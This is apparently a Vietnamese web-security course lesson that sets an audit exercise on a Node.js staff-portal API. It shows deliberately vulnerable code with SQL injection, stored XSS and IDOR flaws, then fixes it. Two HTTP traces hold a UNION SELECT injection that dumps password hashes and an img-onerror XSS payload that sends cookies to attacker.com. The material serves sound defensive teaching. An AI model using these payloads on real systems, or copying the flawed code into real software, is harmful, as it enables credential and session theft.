Nền tảng An toàn Web & Cơ chế Trình duyệt
19/20
Bài 19 / 20~15 phútNhập môn Threat Modeling & OWASP Sơ cấpMiễn phí… lượt xem

Thực hành: Audit mã nguồn và HTTP trace phát hiện lỗi sơ cấp

Thử thách độc lập: Đọc hiểu mã nguồn một backend API và raw HTTP requests, xác định vị trí tồn tại lỗi XSS, SQLi, IDOR và đề xuất mã vá chuẩn kiến trúc.

TL;DR: Thử thách này đặt bạn vào vai trò của một chuyên viên đánh giá bảo mật mã nguồn (white-box auditor). Bạn được cung cấp một đoạn mã controller và service của một tính năng quản lý hồ sơ nhân viên, kèm theo lịch sử gói tin HTTP thu thập được từ proxy. Trong đoạn code ngắn này ẩn chứa ba điểm mù bảo mật nghiêm trọng: một điểm ghép chuỗi câu lệnh SQL ngây thơ, một điểm xuất trực tiếp ghi chú người dùng vào HTML mà không mã hóa, và một endpoint cập nhật trạng thái thiếu kiểm tra quyền sở hữu đối tượng. Nhiệm vụ của bạn là chỉ ra nguyên nhân gốc rễ (Root Cause) của từng lỗi và viết lại đoạn mã đã được vá triệt để theo kiến trúc an toàn.

1. Kịch bản thẩm định: Hệ thống quản lý nhân sự StaffPortal

Bạn tiếp nhận một module mã nguồn xử lý tính năng tra cứu và cập nhật hồ sơ năng lực nhân viên. Dưới đây là đoạn mã Node.js Express của hai API endpoints chính:

JavaScript
// Express routes - staff-portal.js
import express from 'express';
import { dbPool } from './db.js';

const router = express.Router();

// Middleware kiem tra dang nhap don gian
function requireAuth(req, res, next) {
  if (!req.session || !req.session.userId) {
    return res.status(401).json({ error: 'Unauthorized' });
  }
  next();
}

// 1. Endpoint tra cuu ho so nhan vien theo phong ban
router.get('/api/staff/search', requireAuth, async (req, res) => {
  const department = req.query.dept;
  
  // Ghep chuoi truc tiep tao cau truy van SQL
  const sql = "SELECT id, full_name, email, note FROM employees WHERE dept = '" + department + "'";
  const result = await dbPool.query(sql);

  // Render HTML truc tiep ket qua tra ve
  let html = '<ul>';
  for (const emp of result.rows) {
    html += '<li>' + emp.full_name + ' (' + emp.email + ') - ' + emp.note + '</li>';
  }
  html += '</ul>';

  res.setHeader('Content-Type', 'text/html');
  return res.send(html);
});

// 2. Endpoint cap nhat danh gia nang luc nhan vien
router.post('/api/staff/review', requireAuth, async (req, res) => {
  const { employeeId, reviewScore, comments } = req.body;

  // Cap nhat truc tiep theo employeeId client gui len
  await dbPool.query(
    'UPDATE employees SET score = $1, note = $2 WHERE id = $3',
    [reviewScore, comments, employeeId]
  );

  return res.json({ success: true });
});

export default router;

2. Gói tin HTTP Trace ghi nhận được từ Proxy

Đội ngũ an ninh mạng đã chặn bắt được hai gói tin HTTP đáng ngờ gửi tới hệ thống:

Gói tin Trace A:

HTTP
GET /api/staff/search?dept=IT%27%20UNION%20SELECT%20id,%20username,%20password_hash,%20secret_token%20FROM%20users-- HTTP/1.1
Host: staffportal.company.internal
Cookie: session_id=SESSION_STAFF_101

Gói tin Trace B:

HTTP
POST /api/staff/review HTTP/1.1
Host: staffportal.company.internal
Cookie: session_id=SESSION_STAFF_101
Content-Type: application/json

{
  "employeeId": 9999,
  "reviewScore": 10,
  "comments": "<img src=x onerror=fetch('https://c2.attacker.com/steal?c='+document.cookie)>"
}

Hãy thử tài phán đoán của bạn trước khi xem phân tích chi tiết:

Dự đoán & Phản xạ (Predict)

Gói tin Trace B kết hợp với Endpoint 1 sẽ tạo thành chuỗi tấn công nguy hiểm nào?

3. Phân tích 3 lỗi bảo mật cốt lõi

Chuỗi khai thác kết hợp: IDOR -> Stored XSS -> Session Theft

Hình 3.5: Chuỗi khai thác kết hợp giữa IDOR, Stored XSS và rò rỉ phiên làm việc trong hệ thống StaffPortal.

Dưới sự soi chiếu của kiến thức từ 01-threat-modeling-va-mo-hinh-stride đến 04-idor-so-cap-va-rbac, đoạn mã trên chứa trọn vẹn 3 khiếm khuyết cơ bản:

Lỗi 1: SQL Injection (Endpoint 1)

  • Vị trí: const sql = "SELECT ... WHERE dept = '" + department + "'";
  • Nguyên nhân gốc rễ (Root Cause): Ghép chuỗi trực tiếp dữ liệu từ req.query.dept vào câu lệnh SQL. Như đã học ở bài 03-classic-sqli-va-co-che-lexer, ký tự ' của hacker trong Gói tin A đóng sớm chuỗi literal, biến mệnh đề UNION SELECT thành cú pháp hợp lệ của Lexer, trích xuất toàn bộ bảng băm mật khẩu users.

Lỗi 2: Stored Cross-Site Scripting (Endpoint 1)

  • Vị trí: html += '<li>' + emp.full_name + ... + emp.note + '</li>';
  • Nguyên nhân gốc rễ (Root Cause): Thiếu cơ chế Context-Aware Output Encoding như đã phân tích ở 02-xss-so-cap-reflected-va-stored. Thuộc tính emp.note do người dùng đưa vào được cộng thẳng vào chuỗi HTML phản hồi mà không qua hàm encode entity, khiến thẻ <img> với sự kiện onerror kích hoạt JavaScript ngay lập tức.

Lỗi 3: Insecure Direct Object References / BOLA (Endpoint 2)

  • Vị trí: WHERE id = $3, [..., employeeId]
  • Nguyên nhân gốc rễ (Root Cause): Giống hệt phân tích ở bài 04-idor-so-cap-va-rbac. Endpoint chỉ kiểm tra requireAuth (đã đăng nhập) nhưng không kiểm tra xem người dùng hiện tại có phải là Trưởng phòng hoặc Quản lý trực tiếp của nhân viên employeeId hay không. Bất kỳ nhân viên cấp dưới nào cũng có thể gửi request để sửa điểm và ghi chú đánh giá của đồng nghiệp hoặc cấp trên!

4. Đoạn mã đã được vá chuẩn kiến trúc (Remediation)

Dưới đây là phiên bản mã nguồn đã được tái cấu trúc hoàn toàn an toàn:

JavaScript
// Express routes - staff-portal.safe.js
import express from 'express';
import { dbPool } from './db.js';

const router = express.Router();

// 1. Endpoint tra cuu da duoc parameterize va tra ve JSON chuan
router.get('/api/staff/search', requireAuth, async (req, res) => {
  const department = req.query.dept;

  // Su dung Parameterized Query chong triet de SQLi
  const sql = 'SELECT id, full_name, email, note FROM employees WHERE dept = $1';
  const result = await dbPool.query(sql, [department]);

  // Tra ve JSON de frontend (React/Vue) tu dong an toan xuat ra DOM
  return res.json({ employees: result.rows });
});

// 2. Endpoint cap nhat duoc kiem soat quyen so huu muc doi tuong
router.post('/api/staff/review', requireAuth, async (req, res) => {
  const currentUserId = req.session.userId;
  const { employeeId, reviewScore, comments } = req.body;

  // Kiem tra Object-Level Authorization: Nguoi danh gia phai la quan ly truc tiep
  const isManager = await dbPool.query(
    'SELECT 1 FROM employees WHERE id = $1 AND manager_id = $2',
    [employeeId, currentUserId]
  );

  if (isManager.rows.length === 0) {
    // Luu y: Trong StaffPortal noi bo, 403 bieu thi dung nghia tu choi phan quyen;
    // o cac endpoint tra cuu public, uu tien 404 Not Found de chong do quet ID (enumeration).
    return res.status(403).json({ error: 'Forbidden: You are not authorized to review this employee' });
  }

  // Cap nhat an toan sau khi da vuot qua Authorization check
  await dbPool.query(
    'UPDATE employees SET score = $1, note = $2 WHERE id = $3',
    [reviewScore, comments, employeeId]
  );

  return res.json({ success: true });
});

export default router;

5. Tổng kết

Việc phát hiện và liên kết các lỗ hổng riêng lẻ thành một chuỗi khai thác thực tế (Exploit Chain) là kỹ năng quan trọng nhất của một kỹ sư bảo mật. Hãy luôn nhớ: Một lỗ hổng IDOR tưởng chừng nhỏ bé có thể là bàn đạp đưa payload XSS hoặc SQLi tới đúng vị trí chí mạng nhất của hệ thống.

Bài tiếp theo: 06-tong-ket-module

Tự kiểm tra
0/6 câu đã trả lời
  1. Q1
    Tại sao việc thiết kế API trả về dữ liệu định dạng JSON lại an toàn hơn việc tự nối chuỗi mã HTML trên máy chủ backend?
  2. Q2
    Kỹ thuật nào đã bảo vệ Endpoint 2 khỏi nguy cơ bị tấn công SQL Injection?
  3. Q3
    Tại sao câu lệnh SQL kiểm tra quyền quản lý 'SELECT 1 FROM employees WHERE id = $1 AND manager_id = $2' lại giải quyết triệt để lỗ hổng IDOR?
  4. Q4
    Khái niệm 'Source' và 'Sink' trong phân tích tĩnh và truy vết luồng dữ liệu (Taint Analysis) có ý nghĩa gì?
  5. Q5
    Kẻ tấn công sử dụng mệnh đề 'UNION SELECT' trong kỹ thuật SQL Injection nhằm mục đích gì?
  6. Q6
    Nếu trang web thiết lập CSP: 'default-src \'self\'', payload XSS chèn vào thẻ img onerror có thể gửi cookie về máy chủ độc hại qua fetch() không?

Bài này có giúp bạn hiểu bản chất không?

Bài này đáng gửi cho bạn học cùng?

Copy link đã gắn nguồn — dán group, chat, hoặc LinkedIn.

Thảo luận & góp ý

Hỏi đáp về bài này

Bài tiếp theo

Tổng kết module Nhập môn Threat Modeling & OWASP Sơ cấp